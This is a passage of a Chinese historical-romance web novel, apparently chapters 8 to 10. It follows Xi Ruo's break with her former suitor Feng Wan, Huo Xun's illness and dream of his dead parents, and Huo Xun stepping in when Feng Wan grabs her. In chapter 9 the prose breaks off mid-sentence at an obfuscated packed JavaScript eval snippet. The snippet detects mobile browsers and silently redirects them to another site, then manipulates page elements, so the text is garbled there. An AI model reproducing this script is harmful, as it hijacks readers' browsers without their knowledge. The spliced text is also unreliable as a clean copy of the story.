她的手没有收回来,从那个狭小的缝隙里,她看向手里的簪子。那个断口被冯晚修整得十分漂亮,凭眼力一扫根本就看不出来,可是手一抚过,她还是能感受到它的存在。 她松了手,金簪落地,在薄雪润透的青砖上,磕出一声轻而闷的响声。 息四娘子回了家,马车被牵去后门。 夕阳的余晖尽了。 有些寥落的星,显现在未完全变暗的天色里。 那个离去的少年郎君久久地站在长街的拐角,此刻又轻步走回,停在那个与她作别的地方,捡起那一支被他奉还、又被她舍弃的金簪。 他看着这一场惨淡至极的薄暮,想到那个狠心至极的息偌,她和清都侯一起待了那样久的时间,而方才从车上下来的时候,发上的步摇却没了。 他心中浮出些不太妙的想法,他希望那是自己多想了,而绝对不是真的。 -- 息偌一回到房间,小盼就伺候她换了衣裳。息偌接过小手炉,将自己方才冻得冰凉的手焐了上去,等手暖和了,脑子也就活过来了。 外头侍女喊着大郎君来了,息偌立刻起身去迎。 息停坐在桌案边,与她开门见山,问道:“不喜欢?” 息偌点头道:“这人演得脾气随和,性情却反复无常。好话没说两句,却又夹枪带棒。终归不是个好人。” 息停瞧着自己这小妹妹被气得咬牙切齿,笑问道:“其他的呢?” 他见息偌想着,却也没说出些什么旁的来,便道:“最差也就是这样了,你这样娇惯的脾气,也能忍着陪他绕一圈西市。看来比我想得要更好一些。” 息偌万万没想到息停得了这么个结论,他这匪夷所思的理解能力是怎么练出来的? 息大郎君做事的风格,好听的叫坚定,不好听叫固执,一意孤行到八匹马都拉不回来。他认定了息偌与霍恂还算投契,心里原本一分的担忧此刻也没了,又与她道:“你日后,再与他多多来往。” 息偌心里其实已经是同意了,虽然没有明说,息停已经看了出来。故而息偌也就没再多扭捏什么,对着他点了点头,算是回答。 息停满意了,手指搁在桌案上,轻轻点了点。 息偌看见这个小动作,愣了一下,想起这似乎是嫂嫂从前的小习惯。 她目光从息停的手上转移到脸上,他似乎一点都没发现自己这个习惯的养成,姿态十分自然,犹然沉浸在自己的思绪里,也不理会坐在一边的息偌,有什么自己的小心思。 他思索了片刻,最后道:“冯予迟的事,就到此为止了。” 他的声音有些冷。息偌想他该是知道了刚才在门外的事,以为他是在责备自己 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息偌不知自己是不是因为这几日见多了长兄的狠心,几乎就在一瞬间便听懂了他的意思——有委屈,可以说,至于他做到哪步,不好说。 反正她嫁是嫁定了。 于是息偌这点感动立刻就没了。 息偌在霍恂这件事上已经摸清楚了息停的套路,虽然面对息停不敢顶嘴,但是不妨碍她心里骂骂咧咧。 骂着骂着,想到都是由霍恂回京扯出来的这一番乱子,于是又将骂骂咧咧的对象换成了霍恂。 她这么真诚,他居然初见就拿她的玉佩要挟她吓唬她。 这一晚,息偌梦里都在骂霍恂不知好歹。 -- 霍恂回到府中,更衣洗漱完倚在床头,正看着密报,突然就打了一声喷嚏。 他相貌丑陋是假的,但是身弱多病是真的。雁行跟在他身边多年,几乎经历过他每一次生病的过程,听见此声便如临大敌。 他扯着厚衣开玩笑,他家小侯爷以病闻名,真倒下那不是开玩笑的。 霍恂看着他这副样子就觉得好笑,嗤他道:“你至于这么……” 下一刻就是第二个喷嚏。 雁行扯被子往霍恂身上搭,换了热饮又要给他换热手炉,转过身去再添炭,一套动作行云流水。 他直起身子,严肃道:“主子,你病了。” 他语气十分坚定,道:“先别睡,我去给你把药煮了,喝完再休息。” 他转身出去,又折返回来把霍恂手里的密报抽走,道:“别看了,歇着。” 雁行照顾人的经验已经很老道了,霍恂知道他也是关心自己,乖觉地拢好衣服靠在那里等待。 只是虽然眼睛没盯着密报了,脑子里想事却一直没停下来,想着想着,就打了第三个喷嚏。 他动作大了些,身上的衣裳也向下滑了滑,于是一块司南佩便清清楚楚地落到了他的视野之中。 他由此想到了白天见到的小姑娘,想,这当真不是因为她在骂他? 这病一来如山倒,霍恂初时还觉得寻常,待雁行捧着药碗回来的时候,他已经觉得自己头脑有些困顿了。 他抚了抚额头,接过雁行手里的药碗,听见雁行絮絮道:“这么冷的天,不好好坐马车,下去逛什么街?明天关大夫来了,下上一剂猛药,多躺几天就老实了。” 霍恂没计较雁行的啰嗦,将药喝完了,把碗递回给他,突然道:“看来你说得对。” 雁行:? 霍恂道:“我的确是病了。” 雁行默默翻个白眼:无语。 霍恂笑一笑,神色和声音颇有几分温柔,自顾自道:“还是得叫人来探探病才好。” 雁行:…… 您可别瞎折腾了! 8. 梦魇 霍恂这一晚因为受凉,在居处烧得昏天黑地。雁行没空等到第二日,当晚便去请了关大夫。 这位关大夫在宁都时就一直照顾霍恂,这次来京也一直跟随,听见雁行来请,立刻便披衣起身。 霍恂睡得不沉,隐约听见他们说话,但是头脑发昏,连眼睛也累得睁不开,自然插不了什么话。 于是便只能由着雁行絮絮叨叨,一字不差地给关大夫说完他整日的作死行为。 霍恂浑浑噩噩的,都能感觉到关大夫给自己扎得那几针比往日疼了许多。 但这样的疼在幼时那些年里他也都受尽了,等到如今长大成人,忍耐力也被锻炼得强悍许多,却也不觉得这是多么大的痛意了。 他已经在漫长的岁月里习惯了这种感受,所以也就得以在这样的刺痛里陷入梦境。 霍恂阖着眼,沉入一片昏昏的黑暗之间,耳边有人唤有人哭,还有他父亲霍其祯的声音。 他一边被气得咳嗽不止,一边又难以遏制怒气地斥道:“还救他做什么!他母亲千辛万苦地将他保下来,他倒一心想送死,随他去!” 霍恂自己也咳起来,针锋相对道:“那就让我回宁都!宁都害死我母亲,它若害不死我,就该由我向它讨命!” 霍其祯怒道:“你算什么?宁都算什么?由得着你去讨!” 霍恂心里有些无奈地唤:别吵了,别吵了,父亲他……也再拦不了多久了。 好一个逆子,日日气得他怒火冲天,身体都没时间养,伤病发作到最后,连咳嗽的力气都没有,就拉着他的手一遍一遍地说,别回去,别回去……其实他哪里还能拦得住他? 就这么一句别回去,他当真老老实实为他守了三年孝,一步都没踏出清都。 霍恂眼前仍是黑的,雾蒙蒙的一片,他伸手努力去拨开,缓慢地往前走,耳边有哭声、有静声,鼻端有烧过的烟气,有不散的香味,再往前,他指尖碰到的是麻衣黄纸。 他有些迟钝地想,啊,父亲没了。 他在梦里,父亲都不愿意让他仔细地看一看脸再去。 可是在这样的伤心和遗憾之间,却又有光慢慢将这黑暗都驱散了。 霍恂抬起头,看见一片艳阳高照的好天气,可是他却感觉不到任何快乐的氛围。 他向前去,面前的棺木那么高,他都看不见里面安静躺着的人。 他踮起脚尖,扒着棺木去看,却有人抱着他退开了。他转过头去看,看到幼年时一直照顾自己的嬷嬷抱着自己哭,拍着他的肩背道:“小世子,不要看,不要看……” 他于是又想到:啊,这里不是清都了,那里面的也不是父亲。 这里是宁都,那里面的是他母亲华敬公主。 都这么多年了,他们一直以为他从来没有看见过他母亲过世后的样子,其实他看到了。 霍恂也明白,任哪一个孩子来,看到自己慈爱美丽的母亲在死后变成那么一副可怖的模样,也会生出浓浓的恐慌的,可是他从来都没有害怕过,无论是过去还是现在。 那是最爱他的母亲,他怎么会害怕呢? 他就是有些遗憾,小的时候,他没能在母亲下葬前去摸一摸她的脸,如今在梦里,他也没能上前去。 他就只能徒然地看着那棺木去远了,遥遥地,就要消失在刺目的光线里。 这太阳真是好可恨。 他如此想着,就生出不甘,于是迈步追着母亲向前跑去,跑进了一片刺目的白光里,又跌落到华美深寂的庭院里。 他身边的雁行还是个很小的孩子模样,抱着书苦着脸,低声问他道:“世子,咱们真的不能回家吗?读书很烦,息家的大郎君也很烦,他连两块糕饼都不给我们吃。” 于是他也点着头,发出稚嫩的童声,茫然回答道:“可是我只能读书呀,不读书,我又要做什么呢?” 雁行眼睛亮亮的,道:“我听说西街上有家糕饼铺子做得很好吃,世子,咱们去吃糕饼罢!” 霍恂犹豫了一下。 然后他听见身后有一个很稚嫩清脆的声音道:“这位哥哥,你知道我阿兄在哪里吗?” 霍恂停了一下,转过身去。 阳光从茂密的林木上洒下来,正巧将背后这小姑娘的脸挡了个严严实实,只见得她抱了一个几乎要提不动的大食盒,艰难道:“我要来给我阿兄送糕饼。” 雁行道:“这不是你哥哥,这是世子。” 雁行喊道:“侯爷!侯爷!” 霍恂被这道渐渐长大的熟悉声音唤醒,他睁开双眼,看见长大后的雁行捧着个新鲜的药碗,坐在他的床前,道:“该起来喝药了。” 霍恂迷蒙而迟钝地看着窗纸后透进来的温柔又明亮的天色,忽而道:“这么苦的药,不给我两块糕饼吃吗?我要换了你,雁行。” 雁行一点也不懂他家侯爷在染病梦回后的脆弱与感慨,很无情地回答道:“喝完药就有了。” 霍恂挑了挑眉。 他如今长大了,苦汤药已经喝得习惯,需要拿蜜饯和点心哄着喝药的日子早就过去了。雁行只道他好吃,平日里会给他买各种小食,但在药后的这些小玩意儿一直是可有可无。 他没想到今日会有。 霍恂往侧面偏了偏头,看了看床榻边的小桌案,又躺好闭上眼睛,道:“你骗鬼呢?” 他是病了,他又不是瞎了。 雁行道:“您不是想找人来探病吗?我让人去息家府上传信儿了,等会儿天再亮些,指不定就来了呢。” 这话一说完,霍恂立刻清醒了。 他睁开眼起身,由着雁行替他将身后的大引枕放好,又给他取了件外衣披在身上,这才预备喝药。 他端过药碗,看着雁行问道:“谁让你去息家报信的?” 雁行非常正直道:“不是您说要找人来探病吗?陛下那边还瞒着呢,宁都城里除了息家人,谁还能来探病啊?” 很合理的回答。 但是和霍恂所想的不太一样。 他将药一饮而尽,这才道:“哪有昨晚害了病,今天就让人上门请的?” 雁行道:“您睡糊涂了,是前儿晚上病的。我是想趁您睡着灌药的,但关大夫说不许您久睡,我才叫的。” 霍恂默了一下,问道:“你将信递给谁了?息为止?” 雁行点头道:“是啊,咱们在息家就认识他。侯爷放心,我信儿传得隐蔽,没人瞧见。” 霍恂冷着脸将药碗扔到了雁行怀里,嗤道:“我与他自小就不对付,你去找他来探病?” 雁行无辜道:“可若是不得他准许,息四娘子也不能过来——” 眼见着霍恂要在枕边找个顺手的东西砸他,雁行赶紧站起来道:“别动作!刚喝了药,免得吐!关大夫说了让您喝完药后用早饭,我这就给您拿去。” 他一溜烟地去了,过会儿换了个侍女过来送饭。 即便屋里燃着炭火,已比寻常房舍温暖许多,但霍恂还是感觉身上发冷,没有力气,头脑也依旧昏沉。他没有勉强自己,让侍女在床上支了小几,将饭用了一半,实在是吃不下了,就摆手让侍女撤走。 他就这样斜靠在引枕上闭上眼睛,有厚重的帐幕遮着,倒也不觉得天光刺眼。 如此不知睡了多久,忽而听到有脚步声靠近。雁行在帐外道:“侯爷,息大郎君来了,您要见吗?” 霍恂睁眼道了声“见”,让雁行帮自己整理了一番,而后息停才走进他房间之中。 息停进门就脱了大氅,抬眼见霍恂居然还在床上,也没靠近,远远地坐下了,才道:“你不是演的啊。” 霍恂将雁行打发出去,道:“觉得我是演的,那你过来干什么?” 息停随意道:“我当你又有什么话,不便在外头说。” 提到这一句,霍恂就想起先前那桩事,道:“你的近卫在外面不守吗?那种地方,叫你妹妹说进就进?” 息停浮起一种似笑非笑的神情,道:“她被惯久了,给她好言说尽也未必听,亲眼见一回就老实了。” 他有些不屑道:“你装什么?好处叫你白得了,兴师问罪也轮不到你。” 霍恂没有反驳这话,道:“你摆长兄的谱,未免恐吓她太过,没必要。” 息停全然没听进耳中,道:“现在还轮不到你教我如何管她。” 霍恂侧首看向他,脑中想起些过去的事,道:“我回来以后,一直不 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另一方面,他妻子李常希是已故李相的女儿、李贵妃的妹妹,这二人,一个是今上恩师重臣,一个是今上隆宠后妃,都是可以用来荫蔽他的身份。 他已经为了息家用尽全力,而眼下,他们之间的合作,也是息停所做的努力之一。 平心而论,若是能与息停合作,的确是利大于弊的。 世家之祸久矣,想要根除也非朝夕之功,但只要息停身居高位,息家就风光大盛,在世家之中便可有一席重要地位。只要今上留住息停和息家,凭息停之识时务,不会轻易违背上意。 用息停来制约世家,平稳世家,掌握世家,利用世家。这是一个不必费力的好法子。 至于将来,徐徐图之,总能有好的时机。 今上想要有千古之功,今上等不了;霍恂也有所求之物,他也等不了。 这场同盟几乎是势在必行的。 霍恂只是有些犹豫——他的确对息偌很感兴趣,但是这种程度的兴趣足不足以支撑他做下要与她成婚、从此被她这个顺从长兄的小姑娘掌控的决定,还有待考量。 息停想利用息偌拿住霍恂的短处,为自己与息家争夺更多的生存余地,但霍恂还没考虑好要不要给他。 如果给了他,凭息停这样的人,会有那种再多让半寸的良心吗? 霍恂不敢苟同。 他微微摇一摇头,道:“我记得先生很久就给你取了字,息为止,是要时时刻刻提醒你,凡事要有所为、有所止。但我并不觉得,你有明白这个意思。” 这与境况逼迫无关,霍恂实在觉得,息停不像那种隐含无奈的人。 但息停只是轻笑道:“你我之间也没到如此熟稔的地步。” 这话没错。 但这么一听,息家的四娘子就更可怜了。 霍恂心里无声地叹了口气,道:“将来结了姻亲,我也不想和你相熟。” 他非常明确地说出了自己心里的想法。 “烦你。” 息停非常直截了当地回应道:“我更烦你。你怎么就不能一辈子都待在清都别回来?” 他站起了身,自己去拿大氅,是一副一点也不想在此处逗留的样子。 但他的目的已经达到了,他已经亲耳听到了霍恂确切的回应——他明知息偌是一个陷阱,但他还是决定跳下去。 霍恂看着他的背影纠结了片刻,眼见着他要走了,还是开口问道:“今日怎么不带着你四妹妹过来使美人计?” 他也有苦肉计能回应的,这都没地儿使。 息停很轻地笑了一声,而后才回头道:“冯九几日没见四娘,近来失魂落魄得很,千方百计地要将她骗出去见一回。我不知你决定,自然要给她留一条路,若她实在喜欢,冯九差就差些,多管束就是了。” 他施施然走出去了。 雁行守在门口,见客人要走,准备礼貌性地送上一段,手才抬起来,便听房间内霍恂喊他道:“雁行,进来!” 息停摆一摆手,笑着走出去了。 霍恂黑着脸想,还送他做什么?这厮故意的! 9. 挽回 什么病不病,息偌是不知道的。自打前日回了家,她就没主动问过霍恂一句。 她今日出去,是因为彭琰说外头雪好,家里又打了新鲜野味,下帖子到息家请去她家城郊的庄子里看雪说话。 彭家那处庄子的景致确实不错,离得也不算远,就在城郊的永寿山,当天就能回来。 息偌父母听说以后也知道是小女孩家的趣味,自己没有前去,将帖子转给了息偌,叮嘱息忍将人手带够,随息偌一起去。 其实那里息偌已经去了很多次了,雪后的景致也不是没见过,至于野味更不是什么稀罕物儿。 息偌心里清清楚楚:就是西市那桩热闹传开了,所以彭琰才要找她说话呢。 事实果不其然就是如此。 彭琰这两日就在庄子上住,对清都侯与息家相看的这桩热闹实在是不甚清晰,干脆眼下便请了息偌过来。 她估摸着时间,在门口等着息偌,一看见马车到了,立刻就过去拉着息偌的手臂向庄子里去。 “快说说快说说,什么茶楼相看西市逛街的?我离得远,只听了个囫囵,要不是这几天住在这边,必然当天就要问你去。” 息偌有些无奈道:“这算是个什么事儿?也值得你这么急吼吼地问?” 彭琰笑道:“怎么不急呢?我明明是你的好朋友,结果却成了全宁都最后一个知道这事的,这算怎么回事儿?” 二女说说笑笑地往里去,待走到花园回廊里,稍一转弯,却见个衣衫明媚的年轻女子,正与她们打了个照面。 彭琰脸色当即就落下来了。 这女子也是无意撞见她们,惊讶了一瞬就笑道:“表妹今日请了息家妹妹来呀?怎么也不与我说一声,后头正预备着炙肉呢,二位妹妹一起来罢?” 息偌仔细瞧了一眼,这是彭家的表亲许云韶,但和彭琰关系算不上好,反倒是与郑沁走得很近。之前在西市看见郑沁的时候,就是她陪在郑沁旁边。 若不是因为家中长辈的关系,彭琰是半分也不想和她来往的,当下便冷冰冰拒绝道:“不必了,你自己吃去罢。” 许云韶也没气恼,目光又往息偌身上转了一圈,道:“是呀,你们两个关系要好,必然是有说不完的话。可惜我嘴馋,凑不上这个热闹,不然息家妹妹和清都侯的良缘好事,我倒也想听一听呢。” 彭琰虽不知发生了什么事,但听许云韶如此说,还是不大痛快地拧起了眉。 息偌倒是抢在她开口前拦了她一下,道:“我自然是万事顺遂,无忧无虑,才有今日来与阿琰闲话的时候。倒是许娘子,怎么还有空来这里吃炙肉呢?怎么不见二老一起?” 近些时候许家长辈生了一桩风流孽债,原本是掩在自家门内,不曾让外人知道的。但前些时候息停下手整治郑家,连带着查出了许家不少把柄,再兼之知道那日许云韶站在郑沁那边,便没有心软,拿捏着公事私事一起料理了去。 许家门第上不算一流,比彭家和郑家都要差些。郑家或许还伤害轻些,但许家的确是为此事付出了不轻代价,更甚是名声有损,被宁都好些世家嗤之以鼻,恐怕将来立足都要受人冷眼。 许云韶原本是议了亲的,男方家里听说了许家这样的做派,又听说那日贵女间争执也有许云韶的一份,便将走了一半的六礼暂时搁置了。 这些时候许家境遇艰难,许云韶也停不下来。前一日去陪郑沁讨脸面,后一日又要来彭家寻姨母,为的都是她家里那些事。 若是别人来说这些话,息偌听一听也就过去了。可是当日她与郑沁动手时,许云韶是亲自上来帮郑沁按过她的,这口气她是消不下去的。 她长兄整治他们还不够,如今还止不了许云韶那张嘴,那她讽刺几句又怎么了? 息偌这一番话里又是“有空”又是“二老”,摆明了就是拿许家那些破事来回击。许云韶脸上的笑意落下来,面色青一阵黑一阵的,最后道:“息妹妹好大的威风,大郎君不来,竟也这般咄咄逼人。” 息偌道:“我与许娘子不一样。我家长兄来与不来,我都是一个样子,但他若今日在此,许娘子恐怕也不敢凑到近前来。” 她早就想明白了,她姓息,息停也姓息,旁人怕息停,自然就会对她尊重些。她才不管这是不是狐假虎威,有靠山为什么不靠? 许云韶这几日被家里的事烦得头疼,父母成日里闹个没完,又要应对家里的一摊破事,又要应对朝上的一堆麻烦,弄得她也心浮气躁。 她知道今日自己此来的目的,是为了傍住她那位和自家母亲同父异母的姨母,多卖乖多说好听话,盼着彭家能稍微捞上许家一把。 所以遇到她这个讨厌的表妹彭琰、和这个讨厌的息偌,她应该暂时忍耐,避开她们才对。 但是她一想到自己每日水深火热地维持生活,眼见着就要陷在那个支离破碎的家里,再看着息偌如此光彩夺目地站在自己面前讽刺自己,便觉得忍无可忍。 息偌说的话也没错。 息停不在,她有什么不敢说的? 许云韶冷笑道:“息妹妹听过我家的笑话了,那可曾听过老话说,枪打出头鸟?大郎君在外头辛辛苦苦拼命,息妹妹怎么不知道收敛些呢?还是说,他倒不倒你也不怕,横竖将来是傍上了皇亲贵胄——那清都侯可知道你豁出脸皮追着冯九郎跑吗?” 这话说出口,是谁也不可能忍,彭琰当即上前了一步,息偌眉心微沉便要开口。 但在她们说话以前,斜方又另外传来一道十分低沉又带着怒气的声音。 “许家是这么教你说话的吗!” 息偌偏过头,看见冯晚满面霜寒站在彼处,脸色比花园里未尽的积雪还冷。 许云韶想起自己前些时候暗自听来的某些闲话,此刻见到冯晚,眼神里都浮起了讥诮。 “护花使者来了?这时候怎么到得这样巧,早些时候怎么不在?” 她冷嗤了一声,转头就要往后头去。 “许云韶。” 息偌在她身后唤住她,冷声道:“你记住今日说的这些话,将来得了报应,都是你自己这张嘴惹出的祸事。” 许云韶哼了一声,径自远去了。 这花园回廊里,瞬间就安静了下来。 彭琰一开始还因为许云韶这张嘴气得半死,可是扭头看到了冯晚,又立刻生出好些尴尬来。如此左右看了半天,有些为难地向后缩了一步。 息偌不想见冯晚,揽着彭琰的手臂,便要转身离开。 冯晚见她要走,这才上前一步,唤道:“曼曼,我有话同你说。” 冯家和彭家可没什么交情。息偌又不是傻子,眼下这般情形,彭琰又这样尴尬,肯定与她脱不了干系。 先前冯晚想要见她,给她递了信,她都没收,后来他又寻自家妹妹来约息偌出去玩,息偌也一概没应。他堵到息家门口,她连车也不下。 他也是实在没什么办法了,这才想出这种手段,让彭琰替他约人。 息偌心中有些厌烦了,但又不能怪彭琰。那日花楼的事不曾张扬出去,谁也不知道她是亲眼见了他狎妓才彻底决定分手,还当他们只是为了先前的不愉快闹脾气。 彭琰也是抱着撮合他们的心才同意了,都是一片好心,她也不能怪她什么。 彭琰见息偌皱眉,迟疑道:“要不,你们先说几句话,我去前头等你?” 冯晚立刻接口道:“劳你先去稍待,我话不多,等下就放曼曼去寻你。” 息偌无奈松了手,看彭琰身影隐没在前头的拐角,才四下看了看,不耐问道:“你还要说什么?” 冯晚站在她面前,低着头,却一时不知道自己该说什么了。 说道歉不合适,请原谅也不合适。他自那日在息家门前被息偌拒绝之后,就一直想要再见她一面,就一直觉得他的话还是没有说明白。 可是说什么呢?他想了许久,想到今日再次看见她,他还是没有想好。 息偌见他许久不言,当即便要绕开他,道:“没话说就让开。” 冯晚又立刻向旁边迈了一步将她拦下了,张口便道:“我不要和你分开。” 这话一出口,他感觉身上紧绷的那些情绪瞬间就彻底放开了。 他低着头,有些狼狈地看着她,倔强道:“曼曼,我不要和你分开,随便你要如何对我,但我不要和你这么结束。” 这种结束算什么? 他自己回去想,都觉得荒唐。 息偌有些烦躁道:“那日.你在我家门前,我们不是已经说清楚了吗?断就断了,还纠缠做什么?” 她拧着眉看他,道:“你何时成了这样优柔寡断的人?” 她眼中那种迫不及待想要离去的意图如刀,顺着寒冷冬风狠狠扎进他的心口。 冯晚感觉周身都有些迟钝了,有些茫茫道:“那你呢?曼曼?你为什么成了这样心狠的人?” 他望着她,眉心拧成一个川字,道:“我原本是要断的,你已经这样说了,我也不该纠缠,毕竟这么多年的情分,总不能闹得你我太过难看……可是曼曼,我想了好久,我们不该是这样的,为什么你不能再宽容我一次?” 他眼底浮出些痛苦之色,恳求道:“我知道是我错了,可你能不能再宽容我一次?” 息偌非常了解冯晚。 这么多年相识的情分,让她一眼就可以看到他眉宇之间想要尽可能隐藏的疲惫。 他难得见她,希望自己不要太过于狼狈,他本就是擅长打扮的俊美郎君,今日前来更是特地整饬过自己。可饶是如此夺目的外表,也依然能看出他不如往日那般意气风发了。 息偌有些不合时宜地想到:看,即便是对她这样冷淡、让她这样患得患失的冯予迟,也是会为了她的离去而伤怀憔悴的。 可为什么偏偏是这种时候呢? 可为什么偏偏就有那些事呢? 他怎么能一边将她抛在脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15422662|168229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,肆意做出那些会让她伤心的事,一边又如此萧索地站在她面前,恳求她再原谅他一次呢? 息偌以一种几乎从未在他面前展现过的强硬姿态质问道:“你想要我宽容你?凭什么?为什么不是你持身守正、明辨是非,记得你身后还有一个息偌,想到如果是为了她,就不该做下这些错事?” 她又不活该。 她凭什么非要事事忍让他不可? 是他一时糊涂,还是天性如此,此刻早已一点也不重要。 冯晚垂眼望着她,这事已经过去许久,他多次示弱,但即便是真的见到了她本人,她也没有流露出丝毫想要回头的意图。 她是真的做下了一个非常坚决的决定。 冯晚站在那处,挡住了冬日里所有扑向她身上的冷风,很安静地看了她许久。 他忽而道:“曼曼,我们成婚罢。” 息偌吓了一跳,惊道:“你胡说八道什么?” 冯晚却一扫先前的那点犹豫,仿佛在这话出口以后,心也定了下来,脑中所有混乱的情绪都因此如阴云消散一般。 他道:“先前那些事,我从没有真的做过什么,随你怎么想,认定我是个有贼心没贼胆的怯懦之徒也没什么。但我的确不曾与任何女子沾身。” 息偌皱眉道:“关我什么……” 冯晚恍如未闻,继续道:“冯家有严训,男子四十无子方可纳妾,我父亲恪守门风,不会为我私开便利。若是你我成婚,我必然为你守忠。即便你不信我能做到,起码你知道我家的规矩,若我果真犯错,你便去寻我父亲,打死我来给你赔罪也无妨。” 息偌无语道:“我不要你的命。错了就是错了,要你的命也没有用。” 冯晚问道:“那你想要什么?曼曼,只要你不与我断情,要我做什么都可以。” 他说完这话,似乎也觉得语言是有些苍白了,立刻抬手道:“我可以冯家的列祖列宗起誓……” 息偌连忙伸手,把他那只胳膊拉下来,急道:“你立什么誓?你家列祖列宗没得罪你!” 冯晚也有些着急了,问道:“那你要我做什么?除了分开!” 息偌声音也高了些,道:“我不要你做什么!我就要分开!” 冯晚伸出手去,握住息偌两臂,想要说些什么。息偌见他居然上手,看此处四下无人,只有几步之外一个小盼,赶紧就要高声去喊息忍。 息忍要对女子回避,但他一定不会太远的。 但她还没出声,就有另一道深沉的男声低喝道:“松手!” 这个声音息偌也熟。 她回过头,果真见到霍恂站在回廊那头,脸色阴沉沉地看着这边。 息偌在这一刻的确没想过霍恂为什么会出现在这里。 若是平常在别的地方,她只要远远看见他就一定会绕道躲开,但是在这一刻看到他的时候,她却突然觉得他来得简直恰到好处。 她要迫不及待地找一个人帮她拉开此时已经明显不够冷静的冯晚,哪怕这个人是她有点害怕的霍恂。 冯晚只抬头看了霍恂一眼,便又低下头去看息偌了。 可她偏过脸去,分明是个要逃开他的模样,她看向霍恂的眼睛里甚至带着希冀和祈盼的光,就仿佛盼望着能奔向他的身后去,又或者希望他能走到自己的面前来。 是什么时候起,冯晚变成息偌眼中的洪水猛兽了? 冯晚心里隐隐有一个声音,告诉他此刻应该放手。如果不放手,那么他在她心中的形象就会一跌再跌、跌落谷底,跌成不管往日有多少好时光都无法拯救的丑恶模样。 可是他的心又在反驳这个声音。 他在想,不能放,不能放,如果此刻放走了她,她此生都不会回到自己的身边来。 “曼曼。” 他再次唤她,手下用了些力,不至于弄疼她,只让她回身看向自己。 他躬下腰,垂目道:“是因为他才不肯?曼曼,你即便要与我分开,也不该在自己情绪还没平复、头脑不算理智的时候做下这种决定。婚姻是一辈子的大事,息为止有自己的盘算,但你不该因为一时赌气和惧于长兄便如此轻率。” 他尽量让自己的嗓音不要颤抖,尽量松弛道:“曼曼,你要好好想一想再做决定。” 而这一番话的工夫,霍恂已经走到近前来了。 他冷着脸,没有多说一句话,一手揽住息偌肩头,一手捉住冯晚手腕,强硬地将他推开,让他和息偌分开一段距离。 雁行十分有眼色地等到自家侯爷英雄救美之后,才上前拦住了冯晚的靠近。 霍恂先低下头去看息偌,见她神色算不上好,眼底阴鸷之色愈深。 他将她护在了自己身后,抬头对着冯晚冷声道:“冯九郎君,若我没有记错,息大郎君应当已经提醒过你,让你和四娘保持距离,不要再来干扰她的生活。” 他嗤笑着道:“做错了事,你怎么有脸再来的?” 10. 陪我 冯晚见到霍恂,心里头那点不痛快和怨恨立时便升腾而起。 他错归他错,息停警告归息停警告,但这不知道从哪儿突然冒出来的清都侯,挑着此时趁虚而入,将他与她之间的事径自推向到无可挽回的地步,让他如何不怒? “我与四娘的事,与你何干?” 霍恂哂道:“你与她有什么事?” 他眼底有轻蔑之色,道:“即便有什么,现在也该没有了。” 东西不都还干净了吗?哪里还来的什么关系? 如果此刻没有旁人,冯晚上去动手也是有可能的,但是此刻息偌还在。一来,他的目的是为了息偌,不是为了和霍恂争辩;二来,他也不想在息偌面前动手。 还有他暂时没想到且也不愿意承认的第三点,他也打不过对方。 他连越过雁行都做不到。 冯晚压抑着自己的不快,越过他看向他身后的息偌,道:“曼曼,我今日是特地来找你,我们之间的事,话需要我们自己说清楚。” 他向她伸出手去,放缓声音道:“你来。” 但息偌站在霍恂身后没有动。她只露出了半边身子,摇了摇头道:“我和你没什么好说的。你我好聚好散,来日见了面,我还如昔年一般唤你一声兄长。若你非要纠缠,闹得不欢而散,将来连我长兄也不会给你好脸。” 冯晚才不在乎息停给不给他好脸,冷脸道:“谁要做你见鬼的兄长!” 息偌拧着眉向后退了退,冯晚自知失言,但已然来不及调整姿态。霍恂道:“既然不肯做兄长,你还留在这里做什么?连个人也没有,若是被谁撞见了,累得她都说不清。” 冯晚冷笑道:“你巴不得撵走了我,好与她在一处,我又凭什么要如你的意?” 他一想到那日看到他们二人相看,听说他们在西市闲逛的事,他就觉得心头发堵,发狠道:“不过是见过一回,你与她又有什么关系?” 霍恂听到此处,居然轻轻浅浅地笑了出来。 他这一笑,方才来时的锋利和倨傲都瞬间被驱散于无形之间,又眨眼变回了那个温润柔和的清雅郎君。 他微微侧头,目光落在身后半侧的息偌脸上,声音也暖了一些,问道:“我们是什么关系,你来说?” 这一幕看得冯晚异常刺眼。 什么叫当面一套转头一套?这就是!装什么呢! 他气得想要吐血。 息偌心里也觉得霍恂回头这一眼虚伪得有些过分了。以她之见,他若是凶些,反倒还真些,越是如此这般温柔,就越是憋着坏水。 她肯定是要优先摆脱了冯晚的,但此刻的霍恂却有些危险了,一点也不如方才他冲过来分开他们的时候让她更有安全感。 什么叫前有狼后有虎啊?这就是。 她沉默了一下,在经历了很快速又很谨慎的一番思索后,不太确定地回答道:“还没定下信物的未来未婚夫妻?” 冯晚发出一声冷笑。 霍恂也笑了,气笑的。 他也懒得管冯晚还在面前了,转过身旁若无人地质问起这个长他人志气灭自己威风的小女孩,道:“怎么没定信物?金簪玉佩,都被你丢到哪儿去了?” 金玉良缘,煞有介事。 冯晚忽然想起那日她在长街抬头,发间分明一支金步摇,流苏闪过的华光明媚晃眼。她甚少佩戴那样的饰物,原来是这么个由头。 难怪用不着他修好的那支簪子了,原来是有新的了。 而对面的息偌还在用细弱清晰的声音扎他的心。 “玉佩你拿着呢,金簪你也收回去了。这能算是定下了吗?” 霍恂挑眉道:“你是这么想的?那我与你好好算算这笔账,你……” 息偌赶紧抓住他手臂,很快晃了晃,指尖用力,示意他注意那边还有个冯晚,莫要在此处争辩。 这样算账,她的脸往哪里搁! 让前任当面看到现任不是个东西,这算怎么回事儿?她的脸都要丢完了! 于是霍恂没再继续说下去了。 他十分通透敏锐地理解了小姑娘家的这点心思,目光又落在了她的耳朵尖上。 方才冯晚突然上手,息偌回头间无意弄松了风帽带子,此刻风帽落下来,被寒风吹了一会儿,她耳朵有些红了。 只不过是这会儿正说着话,她没空管这些,所以还没顾得上。 